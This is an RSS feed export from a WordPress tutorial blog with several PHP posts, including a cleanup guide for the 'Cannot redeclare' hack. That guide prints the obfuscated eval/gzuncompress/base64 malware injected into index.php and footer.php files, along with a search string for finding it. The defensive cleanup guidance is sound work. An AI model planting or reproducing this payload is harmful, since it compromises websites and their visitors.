<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Digging into WordPress &#187; PHP</title>
	<atom:link href="http://digwp.com/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://digwp.com</link>
	<description>Take your WordPress skills to the next level.</description>
	<lastBuildDate>Thu, 09 Feb 2012 19:03:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Clean Up &#8220;Cannot redeclare&#8221; Hack</title>
		<link>http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/</link>
		<comments>http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/#comments</comments>
		<pubDate>Fri, 18 Nov 2011 22:44:09 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=5411</guid>
		<description><![CDATA[One of my clients was hacked with the so-called &#8220;Cannot redeclare&#8221; hack. It seems closely related to the nefarious TimThumb hack, so if you&#8217;ve been hit by either of these hacks, you should check for the other. Apparently these hacks affect shared servers, so if you host multiple WordPress sites, chances are high that they&#8217;re [...]]]></description>
			<content:encoded><![CDATA[<p>One of my clients was hacked with the so-called <a href="http://www.victorciobanu.com/how-to-remove-cannot-redeclare/">&#8220;Cannot redeclare&#8221; hack</a>. It seems closely related to the nefarious <a href="http://blog.sucuri.net/2011/10/timthumb-php-mass-infection-aftermath-part-i.html">TimThumb hack</a>, so if you&#8217;ve been hit by either of these hacks, you should check for the other. Apparently these hacks affect <strong>shared servers</strong>, so if you host <em>multiple</em> WordPress sites, chances are high that they&#8217;re <em>all</em> infected.</p>
<p><span id="more-5411"></span></p>
<h3>Checking for the &#8220;Cannot redeclare&#8221; hack</h3>
<p>The good news is that the hack is easy to diagnose. Just open any page from your site and look for the following PHP error message:</p>
<pre><code>Fatal error: Cannot redeclare _765258526() 
(previously declared in /path/to/www/wp-content/themes/THEME/footer.php(12) 
: eval()'d code:1) in /path/to/www/index.php(18) 
: eval()'d code on line 1</code></pre>
<p>PHP errors like this are usually located at the bottom of the web page, but may appear elsewhere or even not all in some cases (i.e., proper configuration). To be certain, scan your server&#8217;s PHP error logs for the &#8220;Cannot redeclare&#8221; error string. If you find anything that matches, it&#8217;s time to fix your site..</p>
<h3>About the &#8220;Cannot redeclare&#8221; hack</h3>
<p>If your site&#8217;s been hit with &#8220;Cannot redeclare&#8221;, you&#8217;re in for a wild clean-up party because it infects <em>every</em> <code>index.php</code> and <code>footer.php</code> file for <em>every</em> WordPress site on the server. </p>
<p>For example, my client hosted 11 sites on the same shared account, so multiply that by the number of index and footer files used by WordPress (core files and themes) and you get over 200 hacked files to clean up. Needless to say the client&#8217;s sites have been moved to a more secure location.</p>
<p>Fortunately finding the hacked index files is relatively painless, just search all files on your server for the following phrase:</p>
<p><strong><code>eval(gzun</code></strong></p>
<p>Here is a screenshot showing search results for this phrase:</p>
<p><img src="http://digwp.com/wp-content/blog-images/cannot-redeclare-01.gif" alt="[ screenshot of search results ]" /></p>
<p>As seen here, the hacked files should be easy to recognize because they:</p>
<ul>
<li>include the <code>eval(gzun</code> search term</li>
<li>include long strings of encoded gibberish</li>
<li>consist of <code>index.php</code> and <code>footer.php</code> files</li>
</ul>
<p>If your search turns up anything that similar but not quite what we&#8217;re talking about here, it may or may not be legit. The main thing that we&#8217;re looking for are the <em>long strings of encoded nonsense</em>. Also, remember to check <em>all</em> sites that you may have on the same server. Once you&#8217;ve isolated the infected files, it&#8217;s time to clean &#8216;em up..</p>
<h3>Removing the &#8220;Cannot redeclare&#8221; hack</h3>
<p>Looking at any of the hacked files, you&#8217;ll find this hideous looking piece of code garbage:</p>
<pre><code>&lt;?php eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDG2NDc3MLGMV4+1dSwqSqzU0LQGAJCPCMM=')));  eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzczNTK1MDUy01DJ1KxWSbR1LCpKrNTQtC5KLSktylNISixONTOJT0lNzk9J1VBJjFbJjNW0rgUAqDUUxQ==')));  eval(gzuncompress(base64_decode('eF6VlMmyo0YURPeO8D94192hhQokhBSOXhSjmAoVVYDQxoGYJzFKAr7ez257Ya/6/UDevHkyMnmF9ddsfT6itumGZBy/3sMxOez/iJOojZOvXxKFo1GazvHOBGLA+eUaLVZpzajUZhTU15L3GFPsjAFRPMEAFudWy/H371++ffv2+2+//pL8xAHTODKmOT6slbE1tOJ1kiCDyoCxphgvMRm9qgExefekX133El0ismOkqGKP42MZLpKJpPMS8YTx4gSYVTsZZGe4IDdMec9Y+/pC3J1NwcNz5cbyxsZi7uQpYBHw88T+MPqTTulClndJI2Dx+I1owCJqXi0kAiGDr1PmpH+r/aTW/2IFVglZi6osknzT22+Yfz8mcjvS0l0L96TTiLuQ2MMek2IXbPSj2KrAO+ddAXvjWLWGHMfuyQrhhdkqAvz+CT+ojEYjqyB0rlslDwURXHJ71jw323da2R40mRpdS4G7wsjZXqfQjIck2hxOHc/bz77v+puTkrDPFsMoxgdVLn5dNCpjnotZMiFZKLX3LSu/xWPgnXXxxd2UgOtMuStvykbQOS04ZZINfXx9sg9l5G6GtgVvWJSG0uT8cr4x+pmL+C29MFouyy5VgBmk9WCjtJIuBwvaskyLo/De1BNIvYk6O/3liRUSN4tenILmuXaHUeqGNR7ouqyfyIb+1agxALuPZs5o1dYP9iuzSthDwkcnZgxky0cQ63OW8ELrc0LllmTOu7k3emSFNcicuCO11t2flxdnl3QngmRY8ipQ5yJo5i6sb69zN06yOgr1ja6SUyJPRVYU123gNYPkwhyM6zP7/hmmDAXA/GCKt2SMs9rXRPOUifjEuvCkhqLQ52ZxkHutKdrzZvO4+yIcdsdp/z5uwlMT7sqre/Bjns096xq4ppgfSHNomHt645A8tnLo1wPeKjUWwzM6Fy6801J9qwOWfUExd9U2eVAOZElU3Vc+2pdeJGosX+U022iZa0nW/LCIQLZPbjs0Rac9tmGfK+oW7k1LsaGMWZvsxuV9LSZ3/CDdQqpA6oCMr7F+OQDN42VrNztRLVGmOi9TZL02hmort/2iyAtvpWu7CtvHXihvbeyNn8nuv6vEBwCVFjuWGDCepDPG7JO788/0Obhcsd2DeRlXYhQvsSfZsjOV63USOcMk1bTUSCPFbCNq6xTUaK1OOuMJeqnc9RL5YMhciGs39OFn+PImRQj/d0cSdpLw+uFztQLmWu4BWyAXinlxV53ppnZdr6p5H9bhoKtpsK/1p2o8c7fu3ZZtENnLjisrS95ya6iLlxQIWqoLA1ELfAUFbpnNu2GfmFa1E5Lu+YrCNimZ6OyxMGmHhWwRwSIv9dFR9ryN1h02Q8pmGjVsNrsdOMNpBat/t0oYvWgkq/vhjiWxSxuuow+lR+virP659Lri9uDEEdZeK0HFT0Ig/8jlTymmN/I='))); ?&gt;</code></pre>
<p>Disgusting stuff, and if you don&#8217;t see it at first, that doesn&#8217;t mean it&#8217;s not there. The scumbags who deal in this filth are clever enough to <strong>indent the code</strong> so it appears off-screen (via horizontal scrollbar). It&#8217;s a clever trick, but most text editors have a limit to the number of characters that appear on each line, so the super-long string of encoded gibberish wraps and becomes easy to spot:</p>
<p><img src="http://digwp.com/wp-content/blog-images/cannot-redeclare-03.gif" alt="[ screenshot of wrapped code ]" /></p>
<p>Notice it there in the last line.. it&#8217;s like that for all teh files. And again, if you don&#8217;t see anything then look for it off-screen. Once you find it, <strong>delete it</strong>. Then repeat for all index and footer files on your server. Once you&#8217;ve done that the &#8220;Cannot redeclare&#8221; hack should be gone, but you should take steps to prevent future attacks..</p>
<h3>Securing your WordPress site</h3>
<p>For public websites, <em>there is no such thing as perfect security</em>. There are many ways to <em>improve</em> security, however, including finding a more secure host for your sites. In general, private or some sort of virtual private hosting is better than shared hosting (for many reasons), but it&#8217;s also more expensive. Hosting is one of those things where you get what you pay for.. so if you have the means, upgrading to a better, more secure host is the first thing I would consider.</p>
<p>Beyond switching hosts, there are a number of known effective measures you can take to improve the security of your site. There are many excellent resources available to help with site security (both for WordPress and in general), including an entire Lynda.com video/screencast series that focuses in-depth on <a href="http://www.lynda.com/tutorial/78547">devloping secure WordPress sites</a>. Even more recently is Daniel Pataki&#8217;s Smashing WP article on <a href="http://wp.smashingmagazine.com/2011/11/10/securing-your-wordpress-website/">securing your WordPress website</a>. And if you want to hear it direct from the horse&#8217;s mouth, check out the good &#8216;ol fashioned WP Codex for info on <a href="http://codex.wordpress.org/Hardening_WordPress">hardening WordPress</a>.</p>
<h3>More help..</h3>
<p>There&#8217;s currently not a lot of info on the &#8220;Cannot redeclare&#8221; hack, but this <a href="http://wordpress.org/support/topic/fatal-error-cannot-redeclare-_765258526">WP Forum thread</a> provides some additional clues. If you have any information regarding this hack, or how it relates to the TimThumb hack, please leave a comment to share the information with others in the WP community. Thanks.</p>
<hr />
<p><small>© 2011 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/">Permalink</a> | <a href="http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/#comments">16 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/&title=Clean Up &#8220;Cannot redeclare&#8221; Hack">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/php/" rel="tag">PHP</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Import Feed, Display in Multiple Columns</title>
		<link>http://digwp.com/2011/09/feed-display-multiple-columns/</link>
		<comments>http://digwp.com/2011/09/feed-display-multiple-columns/#comments</comments>
		<pubDate>Tue, 27 Sep 2011 16:24:49 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[feeds]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=5236</guid>
		<description><![CDATA[Recently I worked on a project where a single RSS feed was imported and displayed in multiple columns on the web page. Certain pages display feed items in two columns, others in groups of three or more. This technique uses WordPress&#8217; built-in fetch_feed functionality to parse external feeds, and a slice of PHP magic to [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I worked on a project where a single <abbr title="Really Simple Syndication">RSS</abbr> feed was imported and displayed in <strong>multiple columns</strong> on the web page. Certain pages display feed items in two columns, others in groups of three or more. This technique uses WordPress&#8217; built-in <code>fetch_feed</code> functionality to parse external feeds, and a <em>slice</em> of <abbr title="PHP: Hypertext Preprocessor">PHP</abbr> magic to display them in <em>multiple columns</em>. It&#8217;s flexible too, enabling any number of columns and feed items from anywhere in your theme/template files. For example, you could display any of the following:</p>
<p><span id="more-5236"></span></p>
<ul>
<li><strong>10 feed items</strong> split into <em>two columns of five</em></li>
<li><strong>30 feed items</strong> split into <em>three columns of 10</em></li>
<li><strong>30 feed items</strong> split into <em>five columns of six</em></li>
</ul>
<p>Notice the pattern? The key to showing the same number of posts in each column is to set the total number of feed items as a <em>multiple</em> of the total number of columns. Before explaining how that works, let&#8217;s back up a bit and get <code>fetch_feed()</code> set up..</p>
<h3>Setting up fetch_feed()</h3>
<p>To display feeds in multiple columns, use WordPress&#8217; <code>fetch_feed</code> function, set up like this anywhere in your theme template files:</p>
<pre><code>&lt;?php include_once(ABSPATH . WPINC . '/feed.php');
if(function_exists('fetch_feed')) {
	$feed = fetch_feed('http://example.com/feed/'); // feed URL
	if (!is_wp_error($feed)) : $feed-&gt;init();
		$feed-&gt;set_output_encoding('UTF-8');	// set encoding
		$feed-&gt;handle_content_type();		// ensure encoding
		$feed-&gt;set_cache_duration(21600);	// six hours in seconds
		$limit = $feed-&gt;get_item_quantity(10);	// get 10 feed items
		$items = $feed-&gt;get_items(0, $limit);	// set array
	endif;
} ?&gt;</code></pre>
<p>There are three things to configure:</p>
<ul>
<li><strong>feed URL</strong> &ndash; replace <code>http://example.com/feed/</code> with the feed URL</li>
<li><strong>cache duration</strong> &ndash; change if needed, default is six hours (in seconds)</li>
<li><strong>number of feed items</strong> &ndash; should be some multiple of the number of columns</li>
</ul>
<p>So for example, getting 10 feed items would enable us to display 1, 2, 5, or 10 columns, with the same number of feed items in each column. So, to display a feed evenly across <em>three</em> columns, some <em>multiple of three</em> is required for the number of feed items. So that would be 3, 6, 9, 12, and so on &ndash; basically any number divisible three.</p>
<p>Read more about the other <code>fetch_feed</code> variables at the <a href="http://codex.wordpress.org/Function_Reference/fetch_feed">WordPress Codex</a>.</p>
<h3>Setting up array_slice()</h3>
<p>Once <code>fetch_feed()</code> is set up, we have an array of <code>$items</code> containing our feed content. To display the items in multiple columns, we use PHP&#8217;s incredibly useful <a href="http://php.net/manual/en/function.array-slice.php">array_slice</a> function, which enables us to <strong>extract slices of the feed array</strong>. The <code>array_slice</code> function accepts three basic parameters, the input array, offset, and length:</p>
<p><code>array_slice($array, $offset, $length);</code></p>
<p>Using the <code>$items</code> array generated from the <code>fetch_feed()</code> function, we calculate the other two <code>array_slice</code> variables depending on the total number of columns and feed items. So for the sake of simplicity, let&#8217;s say we want to display <strong>two columns each with five feed items</strong>. The PHP would look something like this:</p>
<pre><code>// display first five feed items
$blocks = array_slice($items, 0, 5); // grab first five items from the array
foreach ($blocks as $block) {
	echo $block-&gt;get_title();
	echo $block-&gt;get_description();
}

// display next five feed items
$blocks = array_slice($items, 5, 10); // grab next five items from the array
foreach ($blocks as $block) {
	echo $block-&gt;get_title();
	echo $block-&gt;get_description();
}</code></pre>
<p>Likewise, to display <strong>30 feed items in three columns of 10 each</strong>, we would create <em>three</em> <code>foreach</code> loops using the following <code>array_slice</code> values:</p>
<p><code>$blocks = array_slice($items, 0, 10); // first column</code><br />
<code>$blocks = array_slice($items, 10, 20); // second column</code><br />
<code>$blocks = array_slice($items, 20, 30); // third column</code></p>
<p>As you can see, the <em>key</em> to displaying external feeds in multiple columns is configuring <code>array_slice</code> with the correct <code>$offset</code> and <code>$length</code> parameter values. Once you&#8217;ve got that dialed in, you&#8217;re ready to put it all together and make it happen.</p>
<h3>Displaying feed items</h3>
<p>Notice in the previous section that we use the following to display feed items in each column:</p>
<p><code>echo $block-&gt;get_title();</code><br />
<code>echo $block-&gt;get_description();</code></p>
<p>That&#8217;ll display the title and description for each feed item, but you can do much more than that. Here is a more elaborate example showing how different feed items may be included in the markup:</p>
<pre><code>&lt;div class="feed-item"&gt;
	&lt;h1&gt;&lt;a href="&lt;?php echo $block-&gt;get_permalink(); ?&gt;"&gt;&lt;?php echo $block-&gt;get_title(); ?&gt;&lt;/a&gt;&lt;/h1&gt;
	&lt;p&gt;
		&lt;?php echo $block-&gt;get_date("l, F jS, Y"); ?&gt;
		&lt;?php echo substr($block-&gt;get_description(), 0, 200); // limit to 200 characters ?&gt; 
		&lt;a href="&lt;?php echo $block-&gt;get_permalink(); ?&gt;"&gt;Continue reading&lt;/a&gt;
	&lt;/p&gt;
&lt;/div&gt;</code></pre>
<p>For each feed item in the loop, this snippet displays the following:</p>
<ul>
<li>Title of the feed item, linked to the post URL</li>
<li>Content of the feed item, truncated to 200 characters</li>
<li>A &#8220;Continue reading&#8221; link, linked to the post URL</li>
<li>Each feed item is wrapped with <code>&lt;div class="feed-item"&gt;</code></li>
</ul>
<p>There is much more available for customizing your imported feeds, see the <a href="http://simplepie.org/wiki/">SimplePie documentation</a> and more specifically the <a href="http://simplepie.org/wiki/reference/start#simplepie_item">item-level data methods</a> for all the details.</p>
<h3>Putting it all together</h3>
<p>Here is the final code for displaying external feed content in multiple columns:</p>
<pre><code>&lt;?php include_once(ABSPATH . WPINC . '/feed.php');
if(function_exists('fetch_feed')) {
	$feed = fetch_feed('http://example.com/feed/');
	if (!is_wp_error($feed)) : $feed-&gt;init();
		$feed-&gt;set_output_encoding('UTF-8');	// set encoding
		$feed-&gt;handle_content_type();		// ensure encoding
		$feed-&gt;set_cache_duration(21600);	// six hours in seconds
		$limit = $feed-&gt;get_item_quantity(10);	// get 10 feed items
		$items = $feed-&gt;get_items(0, $limit);	// set array
	endif;
}

if ($limit == 0) { 
	echo '&lt;p&gt;RSS Feed currently unavailable.&lt;/p&gt;'; 
} else {
	// display first five feed items
	$blocks = array_slice($items, 0, 5);
	foreach ($blocks as $block) { ?&gt;
		&lt;div class="feed-item column-one"&gt;
			&lt;h1&gt;&lt;a href="&lt;?php echo $block-&gt;get_permalink(); ?&gt;"&gt;&lt;?php echo $block-&gt;get_title(); ?&gt;&lt;/a&gt;&lt;/h1&gt;
			&lt;p&gt;
				&lt;?php echo $block-&gt;get_date("l, F jS, Y"); ?&gt;
				&lt;?php echo substr($block-&gt;get_description(), 0, 200); ?&gt; 
				&lt;a href="&lt;?php echo $block-&gt;get_permalink(); ?&gt;"&gt;Continue reading&lt;/a&gt;
			&lt;/p&gt;
		&lt;/div&gt;
	&lt;?php } ?&gt;

	// display next five feed items
	$blocks = array_slice($items, 5, 10);
	foreach ($blocks as $block) { ?&gt;
		&lt;div class="feed-item column-two"&gt;
			&lt;h1&gt;&lt;a href="&lt;?php echo $block-&gt;get_permalink(); ?&gt;"&gt;&lt;?php echo $block-&gt;get_title(); ?&gt;&lt;/a&gt;&lt;/h1&gt;
			&lt;p&gt;
				&lt;?php echo $block-&gt;get_date("l, F jS, Y"); ?&gt;
				&lt;?php echo substr($block-&gt;get_description(), 0, 200); ?&gt; 
				&lt;a href="&lt;?php echo $block-&gt;get_permalink(); ?&gt;"&gt;Continue reading&lt;/a&gt;
			&lt;/p&gt;
		&lt;/div&gt;
	&lt;?php }
} ?&gt;</code></pre>
<p>As-is, this code displays <strong>two columns of five feed items each</strong>. Using the techniques and info presented in this article, it&#8217;s possible to configure this code to display <em>any number of feed items in any number of columns</em>. This code works when placed in just about any theme template file that makes sense. Probably best when placed <em>outside</em> of the WordPress post loop.</p>
<p>Note that we also verify the feed is available before trying to display anything. After setting up <code>fetch_feed()</code>, we inject the following PHP logic:</p>
<pre><code>if ($limit == 0) { 
	echo '&lt;p&gt;RSS Feed currently unavailable.&lt;/p&gt;'; 
} else {
	// display first five feed items
	// display next five feed items
}</code></pre>
<p>This ensures that no empty markup tags are echoed to the browser if/when the feed is unavailable. It happens, so checking is a good move.</p>
<h3>Instant Summary</h3>
<p>Using <code>array_slice()</code> together with <code>fetch_feed()</code>, it&#8217;s possible to display any number of feed items in any number of columns. This provides much design flexibility for your project.</p>
<hr />
<p><small>© 2011 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2011/09/feed-display-multiple-columns/">Permalink</a> | <a href="http://digwp.com/2011/09/feed-display-multiple-columns/#comments">12 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2011/09/feed-display-multiple-columns/&title=Import Feed, Display in Multiple Columns">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/feeds/" rel="tag">feeds</a>, <a href="http://digwp.com/tag/php/" rel="tag">PHP</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2011/09/feed-display-multiple-columns/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>3 Ways to Reset the WordPress Loop</title>
		<link>http://digwp.com/2011/09/3-ways-to-reset-the-wordpress-loop/</link>
		<comments>http://digwp.com/2011/09/3-ways-to-reset-the-wordpress-loop/#comments</comments>
		<pubDate>Mon, 12 Sep 2011 16:28:23 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Theme]]></category>
		<category><![CDATA[loop]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[tricks]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=5189</guid>
		<description><![CDATA[WordPress does an excellent job of keeping track of what&#8217;s happening with the loop, but once you start customizing parameters and setting up multiple loops, it&#8217;s a good idea to explicitly reset them using one of three WordPress template tags. In this DiW post, we&#8217;ll explore these techniques to get a better understanding of when [...]]]></description>
			<content:encoded><![CDATA[<p>WordPress does an excellent job of keeping track of what&#8217;s happening with <a href="http://digwp.com/2011/05/loops/" title="4 Ways to Loop with WordPress">the loop</a>, but once you start customizing parameters and setting up <a href="http://perishablepress.com/press/tag/loops/" title="Posts about WordPress Loops">multiple loops</a>, it&#8217;s a good idea to explicitly <strong>reset</strong> them using one of <em>three WordPress template tags</em>. In this <abbr title="Digging into WordPress">DiW</abbr> post, we&#8217;ll explore these techniques to get a better understanding of when and how to use them in your WordPress themes.</p>
<p><span id="more-5189"></span></p>
<ul>
<li><a href="http://digwp.com/2011/09/3-ways-to-reset-the-wordpress-loop/#wp_reset_postdata">wp_reset_postdata()</a></li>
<li><a href="http://digwp.com/2011/09/3-ways-to-reset-the-wordpress-loop/#wp_reset_query">wp_reset_query()</a></li>
<li><a href="http://digwp.com/2011/09/3-ways-to-reset-the-wordpress-loop/#rewind_posts">rewind_posts()</a></li>
<li><em><a href="http://digwp.com/2011/09/3-ways-to-reset-the-wordpress-loop/#article-summary">Quick Summary</a></em></li>
</ul>
<h3 id="wp_reset_postdata">wp_reset_postdata()</h3>
<p>First up we have <a href="http://codex.wordpress.org/Function_Reference/wp_reset_postdata" title="Function Reference/wp reset postdata">wp_reset_postdata</a>, which restores the global <code>$post</code> variable to the current post in the main query. This is useful when using <code>WP_Query</code> to customize loops or create multiple loops on the same page. It looks like this:</p>
<p><code>&lt;?php wp_reset_postdata(); ?&gt;</code></p>
<p>This tag is nice and simple &ndash; it accepts no parameters and returns no values. It simply resets the post data after a custom query. So for example, let&#8217;s say we have a custom <code>WP_Query</code> loop in our theme&#8217;s <code>header.php</code> file, something like this:</p>
<pre><code>$random_post = new WP_query(); 
$random_post-&gt;query('cat=3&amp;showposts=1&amp;orderby=rand'); 
while ($random_post-&gt;have_posts()) : $random_post-&gt;the_post(); 
&lt;a href="&lt;?php the_permalink() ?&gt;" title="&lt;?php the_title(); ?&gt;"&gt;
	&lt;img src="&lt;?php echo get_post_meta($random_post-&gt;ID, 'featured', true); ?&gt;"&gt;
&lt;/a&gt;
endwhile;</code></pre>
<p>This would display a random post in the header, but it will also change the main query object for any other loops on the page. Without the original query data available, the main posts loop contained in, say, <code>index.php</code> may produce unexpected results. Fortunately, we can use <code>wp_reset_postdata</code> to restore the query object to its original state.</p>
<p>To use <code>wp_reset_postdata</code>, just place after your custom loop(s). Here is our previous example with <code>wp_reset_postdata</code> to reset the loop:</p>
<pre><code>$random_post = new WP_query(); 
$random_post-&gt;query('cat=3&amp;showposts=1&amp;orderby=rand'); 
while ($random_post-&gt;have_posts()) : $random_post-&gt;the_post(); 
&lt;a href="&lt;?php the_permalink() ?&gt;" title="&lt;?php the_title(); ?&gt;"&gt;
	&lt;img src="&lt;?php echo get_post_meta($random_post-&gt;ID, 'featured', true); ?&gt;"&gt;
&lt;/a&gt;
endwhile;
wp_reset_postdata();</code></pre>
<p class="highlight-text"><strong>When to use:</strong> best used after custom or multiple loops created with <code>WP_Query</code>.</p>
<h3 id="wp_reset_query">wp_reset_query()</h3>
<p>Next up we have the <a href="http://codex.wordpress.org/Function_Reference/wp_reset_query" title="Function Reference/wp reset query">wp_reset_query</a> function, which resets the query used with custom loops. It&#8217;s a simple function that accepts no parameters and returns no values. It looks like this:</p>
<p><code>&lt;?php wp_reset_query(); ?&gt;</code></p>
<p>Specifically, this function was <a href="http://core.trac.wordpress.org/ticket/4741" title="Multiple $wp_query objects mess a lot of things up">created to prevent issues with query_posts</a>, as indicated for the function in the <code>wp-includes/query.php</code> file:</p>
<pre><code>/**
 * Destroy the previous query and set up a new query.
 *
 * This should be used after {@link query_posts()} and before another {@link
 * query_posts()}. This will remove obscure bugs that occur when the previous
 * wp_query object is not destroyed properly before another is set up.
 *
 * @since 2.3.0
 * @uses $wp_query
 */</code></pre>
<p>Looking at the <code>wp_reset_query</code> function in <code>query.php</code>, we see that it uses the adjacent <a href="http://digwp.com/2011/09/3-ways-to-reset-the-wordpress-loop/#wp_reset_postdata">wp_reset_postdata</a> function to restore the global <code>$post</code> variable to the current post in the main query:</p>
<pre><code>// destroy and reset the query
function wp_reset_query() {
	unset($GLOBALS['wp_query']);
	$GLOBALS['wp_query'] =&amp; $GLOBALS['wp_the_query'];
	wp_reset_postdata(); // &lt;-- RESET QUERY
}

// restore the query
function wp_reset_postdata() {
	global $wp_query;
	if ( !empty($wp_query-&gt;post) ) {
		$GLOBALS['post'] = $wp_query-&gt;post;
		setup_postdata($wp_query-&gt;post);
	}
}</code></pre>
<p>So both <code>wp_reset_query()</code> and <code>wp_reset_postdata()</code> reset the query object by restoring the global <code>$post</code> variable, but <code>wp_reset_query</code> takes it a step further and actually <em>destroys</em> the previous query before doing so. This is important when using <code>query_posts()</code>, as seen in the following example:</p>
<pre><code>&lt;?php query_posts('posts_per_page=3');
if (have_posts()) : while (have_posts()) : the_post(); ?&gt;

&lt;h1&gt;&lt;a href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/h1&gt;

&lt;?php endwhile; endif; ?&gt;
&lt;?php wp_reset_query(); ?&gt;</code></pre>
<p class="highlight-text"><strong>When to use:</strong> best used after a <code>query_posts</code> loop to reset things after a custom query.</p>
<h3 id="rewind_posts">rewind_posts()</h3>
<p>Last but not least, we have the <a href="http://codex.wordpress.org/Function_Reference/rewind_posts" title="Function Reference/rewind posts">rewind_posts</a> function, which basically does what it says: rewinds the loop so you can re-use the same query. The function accepts no parameters, returns no values, and looks like this when used in your theme files:</p>
<p><code>&lt;?php rewind_posts(); ?&gt;</code></p>
<p>So to understand when to use <code>rewind_posts()</code>, let&#8217;s say we want to use the same query in two different locations on the page. We want to display post titles in the first loop and post content in the second loop. To re-use the same posts, we include <code>rewind_posts</code> after the first loop, like so:</p>
<pre><code>if (have_posts()) : while (have_posts()) : the_post(); ?&gt;
&lt;h1&gt;&lt;a href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;?php endwhile; endif; ?&gt;

&lt;?php rewind_posts(); ?&gt;

&lt;?php while (have_posts()) : the_post(); ?&gt;
&lt;?php the_content(); ?&gt;
&lt;?php endwhile; ?&gt;</code></pre>
<p>So, while <code>wp_reset_query</code> and <code>wp_reset_postdata</code> reset the entire query object, <code>rewind_posts</code> simply resets the post count, as seen for the function in the <code>wp-includes/query.php</code> file:</p>
<pre><code>// rewind the posts and reset post index
function rewind_posts() {
	$this-&gt;current_post = -1;
	if ( $this-&gt;post_count &gt; 0 ) {
		$this-&gt;post = $this-&gt;posts[0];
	}
}</code></pre>
<p class="highlight-text"><strong>When to use:</strong> best for re-using the same query on the same page.</p>
<h3 id="article-summary">5-second summary</h3>
<p>Quick summary for future reference:</p>
<ul>
<li><strong><code>wp_reset_postdata()</code></strong> -&gt; best used after custom or multiple loops created with <code>WP_Query</code></li>
<li><strong><code>wp_reset_query()</code></strong> -&gt; best used after a <code>query_posts</code> loop to reset a custom query</li>
<li><strong><code>rewind_posts()</code></strong> -&gt; best for re-using the same query on the same page</li>
</ul>
<p>I hope this is a useful round-up of when &amp; how to reset/rewind the WordPress loop. Note that the <a href="http://codex.wordpress.org/">WP Codex</a> information on these functions is kinda thin, so feel free to share any tips or examples in the comments.</p>
<hr />
<p><small>© 2011 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2011/09/3-ways-to-reset-the-wordpress-loop/">Permalink</a> | <a href="http://digwp.com/2011/09/3-ways-to-reset-the-wordpress-loop/#comments">11 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2011/09/3-ways-to-reset-the-wordpress-loop/&title=3 Ways to Reset the WordPress Loop">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/loop/" rel="tag">loop</a>, <a href="http://digwp.com/tag/php/" rel="tag">PHP</a>, <a href="http://digwp.com/tag/tips/" rel="tag">tips</a>, <a href="http://digwp.com/tag/tricks/" rel="tag">tricks</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2011/09/3-ways-to-reset-the-wordpress-loop/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Create an Articles-Only Feed</title>
		<link>http://digwp.com/2011/08/custom-feeds/</link>
		<comments>http://digwp.com/2011/08/custom-feeds/#comments</comments>
		<pubDate>Wed, 24 Aug 2011 15:33:10 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[feeds]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[query_posts]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=5179</guid>
		<description><![CDATA[WordPress makes it easy to publish content in any number of categories, with any number of tags, and with any type of custom post format. So for example, in addition to full articles, you could also offer screencasts, links, side posts, tweets, and all sorts of other peripheral content. Complementary material may work great for [...]]]></description>
